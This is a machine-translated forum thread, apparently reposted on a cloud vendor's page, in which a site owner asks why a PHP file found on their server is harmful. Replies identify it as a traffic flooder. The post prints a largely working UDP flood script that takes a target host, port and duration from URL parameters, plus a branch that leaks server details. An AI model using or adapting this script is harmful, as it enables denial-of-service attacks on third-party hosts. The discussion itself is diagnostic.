Why is this file destructive to the website?

Source: Internet
Author: User
Why is this file destructive to the website? PHPcode & lt ;? Phpset_time_limit (999999); $ host =$ _ GET ['host']; $ port =$ _ GET ['port']; $ exec_time = $ _ GET ['Time']; $ Sendlen = 65535; can you tell me why this file is destructive to the website?
PHP code
  
  0){                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];                exit;            }        echo "Warning to: opening";        exit;    }for($i=0;$i<$Sendlen;$i++){        $out .= "A";    }$max_time = time()+$exec_time;while(1){    $packets++;    if(time() > $max_time){        break;    }    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);        if($fp){            fwrite($fp, $out);            fclose($fp);    }}echo "Send Host:$host:$port

";echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb

";echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";?>


------ Solution --------------------
The target server's network is constantly sending spam packets. Is this a mine?
------ Solution --------------------
I don't know what the landlord wants to do!
------ Solution --------------------
Where did you get this code? How can this problem be solved? What was found on the server?
------ Solution --------------------
Endless loop
------ Solution --------------------
Ignore_user_abort (True) plus an endless loop without rest
------ Solution --------------------
Discussion

Ignore_user_abort (True) plus an endless loop without rest

------ Solution --------------------
Discussion

This is a website that I have hosted in a common company in Guangzhou. the buddies of that company have a holiday with the company and they have emotions at work.

I don't think such a person is a code-writing guy with no character or professional ethics!

------ Solution --------------------
Ignore_user_abort (True); this is good!
------ Solution --------------------


Why not delete all programs and tables?
So many direct,

In the past, php server resources were consumed,
Knowledge, good,

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.